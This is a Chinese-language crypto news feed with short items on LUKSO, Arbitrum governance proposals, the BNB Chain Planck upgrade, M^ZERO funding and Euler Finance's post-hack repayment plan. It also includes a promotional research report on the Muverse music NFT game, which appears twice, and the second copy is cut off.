• Open

    以太坊 ERC-20 标准发明者 Fabian Vogelstelle 将在几周内推出 Layer1 区块链项目 LUKSO，验证者能够通过 Genesis Validator 存款智能合约加入
    以太坊 ERC-20 标准发明者 Fabian Vogelstelle 将在几周内推出 Layer1 区块链项目 LUKSO，验证者能够通过 Genesis Validator 存款智能合约加入 以太坊 ERC-20 标准发明者 Fabian Vogelstelle 将在几周内推出 Layer1 区块链项目 LUKSO。LUKSO 专为「创意经济」设计，验证者能够通过 Genesis Validator 存款智能合约加入网络。在 LUKSO 上，创世验证器存款智能合约允许用户存入一种 ERC-20 代币 LYXe，主网上线后，LYXe 将被转换为 LUKSO 原生代币 LYX。LUKSO 上每个验证者都需要锁定 32 LYXe 才能参与区块验证过程。 据 CoinDesk 介绍，Vogelsteller 最初为以太坊基金会工作并构建了第一个 Web3 浏览器、以太坊钱包及其他开发者工具。且在以太坊基金会工作期间，与以太坊联合创始人 Vitalik Buterin 一起开创了 ERC-20 标准。还在 2017 年首次提出基于区块链身份的概念 ERC-725。随后 Vogelsteller 于 2018 年离开以太坊基金会并专注于 LUKSO 的推出。 内容来源 观点： Fabian Vogelstelle（LUKSO 联合创始人）：LUKSO 的想法是要构建一个围绕创意者的生态系统。LUKSO 正在围绕 NFT 构建一个完整的工具集、生态系统和市场，使用基础上的通用配置文件，使之更容易识别创意者和他们的配置文件，以及他们在区块链上的作品。【原文为英文】 内容来源  ( 34 min )
    Arbitrum 基金会提交两个新提案及关于基金会初始设置的透明度报告
    Arbitrum 基金会提交两个新提案及关于基金会初始设置的透明度报告 Arbitrum 发布推特表示，随着 ArbitrumDAO 对 AIP-1 达成共识，现在是时候纳入社区反馈并推进新的 AIP 和文件，包括关于基金会初始设置的透明度报告、AIP-1.1 及 AIP-1.2。透明度报告描述了使 DAO 启动和运行而采取的行动，DAO 可以通过未来的 AIP 投票该变该报告的参数和角色。AIP-1.1 建议将基金会剩余的 7 亿 ARB 置于「智能合约控制的锁定」中，将在四年内解锁，在 DAO 批准可接受的预算和智能合约锁定时间表之前，基金会无法使用剩余 7 亿代币。此外，AIP-1.1 还提出了定义明确的预算原则和类别及规定的透明度报告。AIP-1.2 提议修改 DAO 核心管理文件，将提案门槛所需的 ARB 数量从 500 万枚降低至 100 万枚。DAO 的成员将有三天的时间就提案提供反馈，之后这两项提案将进行为期一周的快照投票。 内容来源 观点： Arbitrum：「AIP-1.1：锁定、预算、透明度」：https://forum.arbitrum.foundation/t/proposal-aip-1-1-lockup-budget-transparency/13360 内容来源 Arbitrum：「AIP-1.2：基金会和 DAO 治理」：https://forum.arbitrum.foundation/t/proposal-aip-1-2-foundation-and-dao-governance/13362 内容来源  ( 2 min )
    BNB Chain 预计将于 4 月 12 日进行 Planck 硬分叉升级
    BNB Chain 预计将于 4 月 12 日进行 Planck 硬分叉升级 BNB Chain 计划在区块高度 27,281,024 处进行名为 Planck 的硬分叉升级，预计将于 4 月 12 日进行。此次升级的重点是为网络跨链桥实现 BEP-171 中提出的安全性和更好的稳定性。据悉 Planck 升级设计从有漏洞的 IAVL 证明验证迁移至更安全的被称为 ICS23 规范的跨链安全机制。此外，此次升级还将为跨链资金转移引入定时锁定机制，及在检测到伪造证明或紧急情况下自动暂停跨链通道。为了确保顺利过渡至 Planck 升级，全节点运营商被告知下载和编译最新软件 V1.1.21 版本。 此前于 2022 年底，BNB Chain 遭遇黑客攻击，主要原因是 IAVL 证明验证机制的缺陷。BEP-171 提议旨在加强构成 BNB Chain 网络中信标链和智能链之间的跨链桥。 内容来源  ( 153 min )
    DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投
    DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投 DeFi 平台 M^ZERO 完成 2250 万美元种子轮融资，Pantera Capital 领投，Road Capital、AirTree、Standard Crypto、SALT Fund、ParaFi Capital、Distributed Capital、Kraynos Capital、Earlybird 和 Mouro Capital 参投。所筹资金将用于推进在 DeFi 领域的开创性工作。 据 CoinDesk 介绍，M^ZERO 由具有传统金融和去中心化社区（例如 MakerDAO）背景的用户所有。其首席执行官 Luca Prosperi 表示，该协议的目的是为机构传输价值，及为支付流动性创造一个中立基础设施。 内容来源 观点： Luca Prosperi （ M^ZERO 首席执行官）：可以把 M^ZERO 看成是以太坊上的一个基础设施覆盖层，世界各地的大型资产和流动性提供者可以在这里交换价值，建设者可以创造解决方案，良性的治理对这一点至关重要，我们正在为这一点制定规则和代码，以便从第一天起就尽可能地去中心化。此外， M^ZERO 可能会发行一个治理代币，但最初的分发可能针对大型机构而非公众。【原文为英文】 内容来源  ( 29 min )

  • Open

    Euler Finance公布用户赎回方案
    PANews 4月6日消息，DeFi借贷协议Euler Finance公布用户赎回方案，其中追回的资金总计约95556枚ETH（95,556.36059211764枚ETH）和4306万枚DAI（43,063,729.35枚DAI），未回收的资金包括攻击者发送给Tornado Cash的共计1100枚ETH和发送到Ronin攻击者的100枚ETH，另外100枚ETH被攻击者直接返还给用户，用户又将12枚ETH返还给Euler DAO金库。DAO金库地址还持有来自Sherlock协议保险支出的约400万（3,396,964）枚USDC和100万（1,007,321）枚DAI。  对于每个子账户，Euler Finance计划在协议被禁用的区块高度偿还所有负债，此时智能合约中定义的链上预言机价格（Uniswap或Chainlink，取决于市场）用于确定资产和负债的ETH价值，并且账户的每个资产（包括非抵押品）按比例用于偿还负债。所有账户资产净值将被相加以获得总资产净值，每个账户将能够根据其在总资产净值中的比例领取追回的 ETH、DAI 和 USDC。如果追回金额的价值超过总资产净值，则超出部分将按比例分配给用户。 此前消息，Euler Labs已追回攻击者盗取的全部资金。  ( 1 min )
    项目研报丨音乐 NFT 交易平台和多合一应用Muverse
    一、背景 1.WEB2 音乐行业 WEB2 音乐行业是指传统的音乐行业，包括唱片销售、音乐电视台、广播电台等。过去的十年里 WEB2 音乐行业在全球范围内呈现出了快速增长的趋势。著名的音乐流媒体平台 Spotify、AppleMusic、Tidal 等的崛起，极大地改变了人们获取音乐的方式。这些平台通过向用户提供高质量的音乐服务，赢得了大量的用户和市场份额。据 a 统计，全球音乐市场每年规模达到了 2000 亿美元以上，其中音乐流媒体占据市场份额超过 50%，是音乐市场中的领头羊然而，WEB2 音乐行业存在一些问题。首先，音乐人的收益不高，因为唱片公司和版权中介机构占据了大部分利润。其次，音乐版权保护问题一直存在。传统的版权保护方式容易被侵犯，导致音乐人的利益受损。 2.WEB3 音乐行业 WEB3 音乐行业的发展始于区块链技术的兴起。区块链技术的去中心化和透明性特点，为音乐行业的版权保护、音乐分发、音乐创作等方面提供了新的解决方案。WEB3 音乐行业利用区块链技术，使音乐人和用户之间的交互更加直接、透明、安全。由于区块链技术的不可篡改性，音乐版权问题得到了更好的解决。 在 WEB3 音乐赛道中，一些项目已经取得了初步的成果。例如 Audius、Musicoin 等区块链音乐平台通过去中心化的音乐分发，极大地降低了音乐人和用户之间的中间环节，提高了音乐人的收益。 Muverse 是一个社区驱动的音乐 NFT 交易平台和多合一应用，允许世界各地的音乐艺术家、投资者和粉丝参与无摩擦的 NFT 交易，可为用户提供游戏化的互动、投资和收入场景，包括一个结合收益模型的节奏游戏以及一个为用户提供充足流动性的 NFT 交易所。 通过将音乐与游戏，社交，加密经济结合，GameFi+SocialFi 的模式，使全世界的艺术家与音乐爱好者们都可以参与到 Muverse 提供的多种互动场景之中，致力于通过标准化的规则设定与流程，增强艺术家与粉丝社区的连接，让社区来发现并推动艺术家的发展，促使艺术家与粉丝共同成长，并享受 web3.0 带来的丰厚回报。 官网：https://muverse.info Twitter：https://twitter.com/MuverseNFT 三、项目分析 目前 APP2.2 版本刚刚正式上线，项目仍然处于早期阶段。首个音乐互动场景，一款类似之前节奏大师的节拍游戏已经上线，下载 APP 就可以直接体验每天 2 点能量值，体验 2 次游戏，真正参与游戏需持有耳机 NFT。之前测试阶段，该 NFT 通过空投获得，通过市场活动、社区合作以及质押优质项目 NFT 等方式获得创世耳机空投，关于质押 NFT：指定 NFT 价格 +100% 兑换价格，3 个月后原路返还，9,999 创世耳机限空投，目前创世耳机已经完全空投发放完毕，其他获取耳机 NFT 参与方法只有通过游戏内置市场购买耳机 NFT。而且目前质押的白名单 NFT 已经全部并且提前退回，是一个不错的开始。 社交媒体情况：项目推特粉丝 10.1K+，Discord 社区成员 2K+，目前玩家主要集中在海外以及港台地区，大陆玩家相对较少，但是有注意到有慢慢在和国内团队合作的消息，如果后面打开大陆市场，发展空间将会巨大，值得期待后面大陆地区的发展。 另外，据悉在去年 10 月 31 日，Muverse 在 1.5 小时内完成了平台上首位艺术家 - 韩国歌星李洪基的音乐 NFT 作品销售，销售总额达 120ETH（约合 200000 美金）；同年由 Akon 认可的美国歌手 lamar casey，在 Muverse 的支持下于 11 月 28 日完成了其第一首 NFT 音乐作品《Winnin》的销售，仅用 1 个小时，销售完成，销售额 20ETH。由此可见 Muverse 平台拥有较为丰富的资源以及强大的营销、组织能力。 近期媒体消息中看到也增加了平台新 PFP 设计：互动音乐平台 Muverse 宣布，其将与香港金像奖最佳艺术指导奖得主 Yoshihito Akatsuka 合作推出其全新 NFT 头像。新头像的设计符合 Muverse 全新的市场定位与未来发展规划，是 Muverse 平台发展过程中的重要一步。Muverse 将在其官方 Twitter，@MuverseNFT 陆续公布新头像设计、置换方案及开放交易等相关信息。 日本美术大师 Yoshihito Akatsuka 赤塚佳仁为全球前 20 大制景师，曾为杀死比尔、巴别塔、赛德克巴莱、金陵十三钗、西游伏妖篇等多部国际知名电影担任制片 / 美术指导。 这里看来不管从规划还是设计师上都算是很大投入的配置，这里也可以值得期待一下。 项目活动频繁，社区参与程度较高，与玩家互动频繁，主要海外社区参与程度更高，热度较高。项目近期主要活动是每双周 Town Hall，在 2 月 22 日 CMO Adrian & 亚洲负责人 Jina 将更新 Muverse 最新进展，另外在3 月 2 号的 ETHDenver 2023，Muverse 的 CMO Adrian 也进行了发表演讲。同时在 4 月 HongKong Web3 Festival2023 大会期间，举办一场高端定向邀请闭门会议，嘉宾阵容强大，同时也联合举办 AfterParty 等活动，项目宣传在有条不紊的进行，对后面发展有积极作用。 并且，平台通过了慢雾的代币合约审计，安全性较高。 四、路线图 目前 APP 安卓版已经上线 Google play，同时 IOS 支持 Test Flight，目前来看路线图完成程度较高，一切在按步就班的进行。 五、合作伙伴 合作伙伴包括知名机构及 NFT 项目，如：FNC Entertainment / Invest HK / Syndicate Capital / Zonff Partner / AvatarDAO / Lumière / Slow Mist / 1783DAO / KaratDAO / WeirdoGhostGang / DuduLabs / C.C.C.C / DavaoDefi 等，同时也在不断增加和探索不同方向的合作方，值得注意的是目前更多的是与国内团队合作，这对于打开国内市场很有必要，值得关注。 根据媒体报导，Muverse 已经完成 600 万美元种子轮融资，Syndicate Capital、Knights Templar Capital、Zonff Partners、AvatarDAO、Sun Artland Ltd 和 BN Blue Fox Limited 等参投，所筹资金将用于扩大平台的功能和服务，加速用户获取并提升用户体验。Muverse 正在开发其第二阶段的产品，其中将包括音乐 NFT 交易所、NFT 碎片化功能和用于其 F-NFT / MCT 交易的 AMM 池。 团队 :Muverse 团队分布在洛杉矶、纽约、首尔、新加坡、北京、越南、菲律宾等地区，构成比较国际化，Muverse CEO Kent Huang 曾作为 The H Collective 制片人，拥有 15 年好莱坞工作经验。北美及亚洲市场负责人 Adrian 与 Jennie 都具有多年加密行业运营经验。 据媒体报导，好莱坞制片人 Mark Rau 加入 Muverse 担任 COO，Mark Rau 作为好莱坞电影公司 The H Collective Europe 的 CEO 曾参与电影《致命弯道 7》、《魔童》、《战狼 2》、《希特勒回来了》等的制片与发行工作，并于 2021 年短暂加入 Social-Fi NFT 游戏开发公司 Element.black。 其他资源 :Muverse 已邀请前 AMPAS( 奧斯卡组织者 ) 主席、前 Lucasfim、Marval 和 Paramount 副总裁 Sidney Ganis 作为顾问，在北美协助推广 Muverse。与韩国的 FNC 娱乐公司也有合作。 平台参与方式有用户、艺术家、收藏家三种参与方式，Muverse 为平台内的不同用户设计了不同的收益场景。 其中，用户可以在平台体验Muverse 的首个音乐互动场景的节拍游戏，通过玩游戏方式获取 MCT 代币奖励。游戏分为单人模式与多人对战模式两种，随着产品的迭代更新，更多功能（如得分榜、音符增强模式）将会推出。进行游戏获取 MCT 需要有耳机 NFT，若没有耳机 NFT，可以在中心化或者去中心化交易所上购买 ETH 并将它们转移到您的 Muverse 钱包，随后将 ETH 转移到应用内钱包以在市场上购买耳机 NFT。（注意：请始终在您的钱包账户中保留一些 ETH 作为 gas。）准备完毕后可以体验游戏，进入赚收益首页，选择耳机 NFT，开始与音乐互动赚取 MCT，同时近期也推出了听歌赚收益，可以选择在某些场景下通过听歌来赚取收益。 艺术家可以产生创作&收益。注册成为平台艺术家后，Muverse 将为艺术家与他们的忠实粉丝建立 web3.0 音乐社区，增强艺术家与粉丝社区的互动，使粉丝可以直接发现并投资好的音乐家与音乐作品。还可以发起音乐派对，音乐派对是由艺术家与其忠实粉丝共同发起的壹场针对艺术家音乐 NFT 作品发行、销售的壹场视听盛宴。通过发起音乐派对，艺术家不仅可以完成音乐作品 NFT 的销售，还可以扩大其用户基础与社区影响力。艺术家通过为自己的音乐创造价值并在每次销售音乐时赚取收益。 收藏家的收益方式是：遵循 Muverse 的人才发现机制，即有机会在早期发现有潜力的艺术家，投资他们，与艺术家一同成长，收益。艺术家的人才发现是 Muverse 要实现的一个重要目标，为此 Muverse 将为艺术家的人才发现与成长设置良好的机制，帮助艺术家扩大其粉丝规模与平台内外的影响力。在 Muverse 平台上与音乐的互动达到一定程度后，将获得收藏家的身份。拥有收藏家身份的用户可以加入音乐派对，可以在派对中购买或出售最喜欢的艺术家的 NFT。歌曲售罄时才会公布获奖者，获奖者的实时 NFT 版税将远高于普通 NFT 持有者。当艺术家的音乐 NFT 被应用于 Muverse 内的互动场景时，将产生实时版税收益。收益将根据收藏家持有音乐 NFT 的数量分配给收藏家。 2.游戏模式 分为无耳机模式，耳机模式。无耳机模式下，用户无需拥有耳机 NFT 即可在有能量的前提下，通过参与游戏互动获取代币收益。耳机模式下，用户在有能量的前提下，参与游戏互动可获得更高的代币收益。以下内容皆是耳机模式。 用户只有在有能量的情况下才能参与单人模式，每个能量可以进行 1 次音乐互动。玩家完成音乐游戏互动获得分数和 MCT 收益，收益通常基于 3 个因素： 音乐游戏难度：通过不同类型的耳机 NFT，您可以选择不同难度级别的音乐游戏。游戏关卡越高，MCT 奖励越高。 音乐互动评分：根据您在音乐游戏中的表现得分。 音质的值：耳机 NFT 的音质值越高，同样的分数可以获得的 MCT 越多。 后续还会有挑战模式的推出。 游戏中含有四种 NFT，分别是：耳机 NFT、盲盒 NFT、宝石 NFT、音符 NFT。 App 内置交易市场，玩家可以买卖物品，包括耳机 NFT、耳机 NFT 盲盒、宝石 NFT、音符 NFT 等。这些交易收取 6% 的费用。 交易中的物品将被锁定，不能用于赚取收益。 耳机 NFT 耳机 NFT 有四种类型，对应四种游戏难度。 （1）耳机属性 音质（MCT 收益） ：音质属性越高，同等能量消耗下的收益越高。 灵感 ( 神秘宝箱 ) ：灵感决定神秘宝箱出现的频率和稀有度（即将推出）。 魅力（MU 收益）：暂不开放，预计与后期 MU 代币收益有关 质量（耐用性 / 修复）：质量会影响耳机的耐久和维修成本。品质属性越高，每次消耗的生命值越少，修复成本越低。 （2）耳机稀有度 稀有度是每个耳机 NFT 的价值级别。有 5 个级别：普通、经典、珍贵、稀有、传奇。不同等级的稀有度对应不同等级的基本属性，会影响宝石槽的加成和能量值的上限，所以稀有度越高，收益越高。 此外，每个属性的值将根据耳机的稀有度在相应的最小值和最大值内随机确定。因此，即使是同一种稀有 NFT 的耳机，其属性也可能存在很大差异。 （3）耳机宝石 NFT 插座（即将推出） 每个耳机 NFT 都有四个宝石插座，供玩家插入“宝石 NFT”，以增加他们的基本属性值。每个耳机 NFT 在达到一定级别时都会解锁一个插槽。 宝石插槽有四种类型，每个宝石插槽代表一个属性： 盲盒 NFT 打开盲盒是获取耳机 NFT 的主要方式之一。盲盒具有与耳机相同的五种不同稀有度：普通、经典、珍贵、稀有和传奇。 盲盒有更高的概率打开相同稀有度的耳机 NFT，但也有一定概率打开更高或更低稀有度的耳机 NFT。 宝石 NFT（即将推出） 宝石 NFT 是对耳机 NFT 属性的额外增强。当耳机解锁插槽并消耗 MCT 激活时，玩家可以插入宝石 NFT 来增强耳机 NFT 的指定属性。宝石 NFT 的获取方式有两种：神秘宝箱和市场。 宝石有四种类型，每种宝石代表一个属性： 黄色 + 音质 蓝色 + 灵感 紫色 + 质量 红色 + 魅力 音符 NFT（即将推出） 音符 NFT 可以通过音乐交互获得，音符 NFT 效果将随着应用音乐交互模式的开发进程逐步启用。 4.游戏系统 收益上线机制 游戏设置收入上限机制，单人模式有每日能量上限和每日代币奖励上限。这些限制了用户每天可以获得的代币数量。当获得的代币达到上限时，即使还有能量，也无法继续获得代币。必须等待奖励上限重置（每天 0:00 重置）才能继续游戏并获得奖励。 在无耳机模式下，玩家获取收益影响最主要的是连续单机得分。 在耳机模式下，耳机 NFT 的属性也是玩家游戏收益的主要因素，所以由玩家耳机效率和连续点击得分两方面有关。总之，玩家耳机 NFT 属性越佳，参与模式越高级，收益越高。 能量机制 每次音乐互动都会消耗能量值，能量消耗后可自动恢复，每 6 小时恢复 25% 的能量值，直至达到能量上限。用户可以通过持有更多的耳机 NFT 来提高能量上限，计算如下： 在持有耳机 NFT 并获得基础能量的情况下，每个创世耳机 NFT 可以提高 0.5 的能量上限。 在持有耳机 NFT 并获得一定基础能量值的情况下。稀有或更高等级的耳机 NFT 可以提高能量上限。 示例： 1 普通耳机 +1 经典耳机=6 总能量 (5 基础能量 +1 奖励 ) 2 罕见耳机 +1 普通耳机=17 总能量 (7 基础能量 +10 奖励 ) 注意：在市场上出售耳机将导致能量和能量上限损失。将耳机从一个账户转移到另一个账户会导致耳机进入 48 小时冷却期，在冷却期内，用户无法使用该耳机。 耐久度机制 初始耐久度是 100，每次游戏消耗能量，耳机 NFT 都会消耗耐久度。如果用户只使用此耳机提供能量，则此耳机的耐用度不会衰减。 根据耳机 NFT 的稀有度和质量值，耐久度的消耗也不同。品质属性越高，耐久度损失和恢复成本越低。耳机 NFT 在达到耐久度阈值时会遭受“破音”惩罚。 耐久度< 100% ，耳机 NFT 不能在交易市场上市或转让 20% < 耐久度<= 50%，机 NFT 的音质会下降到 90% 0 < 耐久度<= 20%，耳机 NFT 的音质会降低到 10% 耐久度= 0，耳机 NFT 的音质会下降到 0% 使用 MCT 恢复耐久度。耐久度的恢复受耳机 NFT 的稀有度和等级，以及耐久度损失程度的影响。耐久度越低，恢复成本越高。 耳机升级 每个耳机 NFT 都有 30 个等级，玩家可以通过花费 MCT 来升级。等级越高，消耗的 MCT 越多。每次升级都需要等待时间，支付 MCT 可以加快升级过程。在 NFT Lv.19、Lv.28 和 Lv.29 中，除了 MCT 外，还需要额外的 MU。 升级耳机 NFT 可以提高每日收益上线，后续还可以解锁新功能，在 Level5、10、15、20 等级下，分别解锁耳机 Mint、插座 1、插座 2、插座 3、插座 4。 升级后根据用户耳机稀有度分配 4-12 个额外属性点： NFT Mint NFT 达到 5 级开启铸造功能，消耗 MCT/MU，配对两个耳机 NFT 铸造一个盲盒。每个耳机最多铸造七次，而且随着铸造次数增加，MCT/MU 成本也随之增加，获得更高级别盲盒的概率随着铸造频次的增加而增加，用于配对两个 NFT 的耳机称为“前因”，前因对的类别和稀有度将对耳机的盲盒产生直接影响。将不同稀有度的前因配对将生成不同稀有度的盲盒。用户仅在 1-1、2-2、3-3、4-4、5-5、6-6 配对时享受概率奖励红利，其他如 0-1、0-5、3-4 不享受概率红利，根据第一次 Mint 概率。 帐号 Mint 后需要 48 小时的冷却时间，此期间不可以进行 MINT。 MINT 成本动态调整，主要由 MCT 价格决定，铸造成本每天世界标准时间 14：00（北京时间 22：00）更新，代币价格波动大，极端情况下可能每天调整多次。 成本公式如下： Mint 成本= MCT (A) + 基础 MU (B) + 额外的 MU ([A+B]*x) 调整主要为额外的 MU 代币，动态调整可以保证代币消耗，保证 MU 的价值。目前阶段 MU 没有上线，Mint 主要由 MCT 消耗进行。 税费 游戏将对各种应用内活动收取不同的税款和费用，详情如下： 游戏进一步计划 除了暂时还未上线的宝石 NFT 升级，神秘宝箱外，平台还有计划后期上线音乐&跳舞 ( 通过在游戏中使用手机的摄像头随着音乐跳舞来赚取收益 )，音乐&唱歌（通过在游戏中唱歌来赚取收益），音乐&健康的生活方式（可以通过在游戏中边听音乐边锻炼来赚收益）。 Social-Fi 目前仍在开发阶段，Muverse 主打就是音乐 + 社交，所以 SocialFi 也是发展重点。通过排队模式，艺术家在 MUVERSE 上轻松发行音乐专辑，通过 MUVERSE 举办线上或线下演唱会，发展自己的粉丝。用户可以购买喜欢的音乐 NFT，投资艺术家。 而且在创意模式中，类似与短视频，通过用户使用音乐创造作品获得其他用户关注夏欢，可以获得收入，广告公司还可以按照用户通过 Muverse 设定的价格购买音乐视频 NFT。购买后，广告公司可以在视频后添加广告内容。 音乐 NFT 是 Muverse 社交方面的重点，音乐 NFT 为艺术家提供销售收入，音乐 NFT 购买者将在 Game-Fi 中拥有该音乐 NFT 产生的实时版税收入。随着艺术家的音乐登上排行榜，这些开创性的音乐 NFT 将产生持续的版税收入并增加价值。 Muverse 采用双代币 MCT+MU 治理模式。 MCT MCT 是用于在 Muverse 中进行操作的 Token，通过与音乐互动获得的 MCT，总共应量无限。应用场景为：为各种 APP 功能付费，包括耳机 Mint、NFT 耐久修复、NFT 升级、宝石升级、开锁宝石插座。并且应用场景内所消耗的 MCT 将全部销毁。 MU MU 是平台的治理代币。MU 是一种具有一些高级功能的支付代币。 总供应量 10 亿枚，锁仓 1-2 年不等。 MU 的应用场景是：耳机升级、耳机 Minting、宝石升级、参加挑战模式、购买音乐存储节点。并且场景内所消耗的 MU 也将全部销毁，所以 MU 的模式也是逐渐通缩。 截至 4 月 2 日，用户通过 Muverse 平台上的节奏游戏和音乐聆听场景累计挖矿 16,562,281 枚 MCT。耳机 NFT 升级、维护、铸造消耗的 MCT 总量为 5,178,281 枚，占挖矿总量的 31.265%。剩余的 3,437,722 枚 MCT 作为平台储备金，支持用户挖矿需求的持续增长。 MCT 流动性：Muverse 的 MCT 实用代币只能由用户挖掘，Muverse 团队没有进行预挖。此外 MCT 的任何使用都将对社区透明。 MCT 已经在 Uniswap v2 添加了流动性，流动性池地址：https://app.uniswap.org/#/tokens/ethereum/0xbee709aa42375ace642338f7f657ff859a19c9bc 用于增加流动性池的 MCT 来自 Muverse 耳机 NFT 用户的 NFT 升级维护。自 2023 年 4 月 1 日起，Muverse 耳机升级维护所消耗的 MCT 将全部转移至虫洞地址进行销毁，不再用于其他用途。 关于 MU，之前用户共购买了 752,586 个 MU 代币，耳机 NFT 升级和铸造过程中消耗的 MU 总量为 433，749.4MU 代币。用户的地址剩余 MU 余额为 318,836.6MU。目前，Muverse 的多签地址 A 中仍持有 10,247,414 个 MU 代币，占已发行 MU 代币总量的 93.158%，占 MU 代币总量的 1.025%。用户持有量（318,836.6MU）占发行的 MU 代币总量的 6.842% 和 MU 代币总量的 0.00032%。 详情可以查看最近公布的季度透明度报告：https://medium.com/@Muverse/transparency-muverse-quarterly-transparency-report-2023-q1-48dc2d1bee55 在流媒体时代，唱片公司与音乐家的收入处于严重不对等状态，多数音乐家表示其收到的报酬微乎其微。谈及音乐家的报酬问题，我们不得不提版税。在音乐行业，版税基本上是歌曲（或任何创作）被出售、分发、用于其他媒体（如商业或电影）或以任何方式货币化时支付给任何权利持有人的费用，版税问题一直是传统音乐世界的痛点。根据不完全统计，从 2021 年到现在，Web 3 音乐项目的融资金额超过 2 亿美金，生态也愈发壮大。Muverse 将音乐与 NFT 相结合，通过发型音乐 NFT 解决音乐艺术家的版税问题，过去两次音乐家的歌曲销售皆以成功为结局，并且用户可以通过成为收藏家购买收藏艺术家音乐 NFT 并享受版税收益，现在已经开发出了 1.0 版本音乐类节拍游戏，是音乐使用的另一个场景，未来全规模的音乐社区以及音乐 NFT 市场的搭建更加值得期待，随着 Muverse 的不断发展，可以展望未来在 WEB3 音乐赛道中的脱颖而出。  ( 7 min )
    项目研报丨音乐 NFT 交易平台和多合一应用Muverse
    一、背景 1.WEB2 音乐行业 WEB2 音乐行业是指传统的音乐行业，包括唱片销售、音乐电视台、广播电台等。过去的十年里 WEB2 音乐行业在全球范围内呈现出了快速增长的趋势。著名的音乐流媒体平台 Spotify、AppleMusic、Tidal 等的崛起，极大地改变了人们获取音乐的方式。这些平台通过向用户提供高质量的音乐服务，赢得了大量的用户和市场份额。据 a 统计，全球音乐市场每年规模达到了 2000 亿美元以上，其中音乐流媒体占据市场份额超过 50%，是音乐市场中的领头羊然而，WEB2 音乐行业存在一些问题。首先，音乐人的收益不高，因为唱片公司和版权中介机构占据了大部分利润。其次，音乐版权保护问题一直存在。传统的版权保护方式容易被侵犯，导致音乐人的利益受损。 2.WEB3 音乐行业 WEB3 音乐行业的发展始于区块链技术的兴起。区块链技术的去中心化和透明性特点，为音乐行业的版权保护、音乐分发、音乐创作等方面提供了新的解决方案。WEB3 音乐行业利用区块链技术，使音乐人和用户之间的交互更加直接、透明、安全。由于区块链技术的不可篡改性，音乐版权问题得到了更好的解决。 在 WEB3 音乐赛道中，一些项目已经取得了初步的成果。例如 Audius、Musicoin 等区块链音乐平台通过去中心化的音乐分发，极大地降低了音乐人和用户之间的中间环节，提高了音乐人的收益。 Muverse 是一个社区驱动的音乐 NFT 交易平台和多合一应用，允许世界各地的音乐艺术家、投资者和粉丝参与无摩擦的 NFT 交易，可为用户提供游戏化的互动、投资和收入场景，包括一个结合收益模型的节奏游戏以及一个为用户提供充足流动性的 NFT 交易所。 通过将音乐与游戏，社交，加密经济结合，GameFi+SocialFi 的模式，使全世界的艺术家与音乐爱好者们都可以参与到 Muverse 提供的多种互动场景之中，致力于通过标准化的规则设定与流程，增强艺术家与粉丝社区的连接，让社区来发现并推动艺术家的发展，促使艺术家与粉丝共同成长，并享受 web3.0 带来的丰厚回报。 官网：https://muverse.info Twitter：https://twitter.com/MuverseNFT 三、项目分析 目前 APP2.2 版本刚刚正式上线，项目仍然处于早期阶段。首个音乐互动场景，一款类似之前节奏大师的节拍游戏已经上线，下载 APP 就可以直接体验每天 2 点能量值，体验 2 次游戏，真正参与游戏需持有耳机 NFT。之前测试阶段，该 NFT 通过空投获得，通过市场活动、社区合作以及质押优质项目 NFT 等方式获得创世耳机空投，关于质押 NFT：指定 NFT 价格 +100% 兑换价格，3 个月后原路返还，9,999 创世耳机限空投，目前创世耳机已经完全空投发放完毕，其他获取耳机 NFT 参与方法只有通过游戏内置市场购买耳机 NFT。而且目前质押的白名单 NFT 已经全部并且提前退回，是一个不错的开始。 社交媒体情况：项目推特粉丝 10.1K+，Discord 社区成员 2K+，目前玩家主要集中在海外以及港台地区，大陆玩家相对较少，但是有注意到有慢慢在和国内团队合作的消息，如果后面打开大陆市场，发展空间将会巨大，值得期待后面大陆地区的发展。 另外，据悉在去年 10 月 31 日，Muverse 在 1.5 小时内完成了平台上首位艺术家 - 韩国歌星李洪基的音乐 NFT 作品销售，销售总额达 120ETH（约合 200000 美金）；同年由 Akon 认可的美国歌手 lamar casey，在 Muverse 的支持下于 11 月 28 日完成了其第一首 NFT 音乐作品《Winnin》的销售，仅用 1 个小时，销售完成，销售额 20ETH。由此可见 Muverse 平台拥有较为丰富的资源以及强大的营销、组织能力。 近期媒体消息中看到也增加了平台新 PFP 设计：互动音乐平台 Muverse 宣布，其将与香港金像奖最佳艺术指导奖得主 Yoshihito Akatsuka 合作推出其全新 NFT 头像。新头像的设计符合 Muverse 全新的市场定位与未来发展规划，是 Muverse 平台发展过程中的重要一步。Muverse 将在其官方 Twitter，@MuverseNFT 陆续公布新头像设计、置换方案及开放交易等相关信息。 日本美术大师 Yoshihito Akatsuka 赤塚佳仁为全球前 20 大制景师，曾为杀死比尔、巴别塔、赛德克巴莱、金陵十三钗、西游伏妖篇等多部国际知名电影担任制片 / 美术指导。 这里看来不管从规划还是设计师上都算是很大投入的配置，这里也可以值得期待一下。 项目活动频繁，社区参与程度较高，与玩家互动频繁，主要海外社区参与程度更高，热度较高。项目近期主要活动是每双周 Town Hall，在 2 月 22 日 CMO Adrian & 亚洲负责人 Jina 将更新 Muverse 最新进展，另外在3 月 2 号的 ETHDenver 2023，Muverse 的 CMO Adrian 也进行了发表演讲。同时在 4 月 HongKong Web3 Festival2023 大会期间，举办一场高端定向邀请闭门会议，嘉宾阵容强大，同时也联合举办 AfterParty 等活动，项目宣传在有条不紊的进行，对后面发展有积极作用。 并且，平台通过了慢雾的代币合约审计，安全性较高。 四、路线图 目前 APP 安卓版已经上线 Google play，同时 IOS 支持 Test Flight，目前来看路线图完成程度较高，一切在按步就班的进行。 五、合作伙伴 合作伙伴包括知名机构及 NFT 项目，如：FNC Entertainment / Invest HK / Syndicate Capital / Zonff Partner / AvatarDAO / Lumière / Slow Mist / 1783DAO / KaratDAO / WeirdoGhostGang / DuduLabs / C.C.C.C / DavaoDefi 等，同时也在不断增加和探索不同方向的合作方，值得注意的是目前更多的是与国内团队合作，这对于打开国内市场很有必要，值得关注。 根据媒体报导，Muverse 已经完成 600 万美元种子轮融资，Syndicate Capital、Knights Templar Capital、Zonff Partners、AvatarDAO、Sun Artland Ltd 和 BN Blue Fox Limited 等参投，所筹资金将用于扩大平台的功能和服务，加速用户获取并提升用户体验。Muverse 正在开发其第二阶段的产品，其中将包括音乐 NFT 交易所、NFT 碎片化功能和用于其 F-NFT / MCT 交易的 AMM 池。 团队 :Muverse 团队分布在洛杉矶、纽约、首尔、新加坡、北京、越南、菲律宾等地区，构成比较国际化，Muverse CEO Kent Huang 曾作为 The H 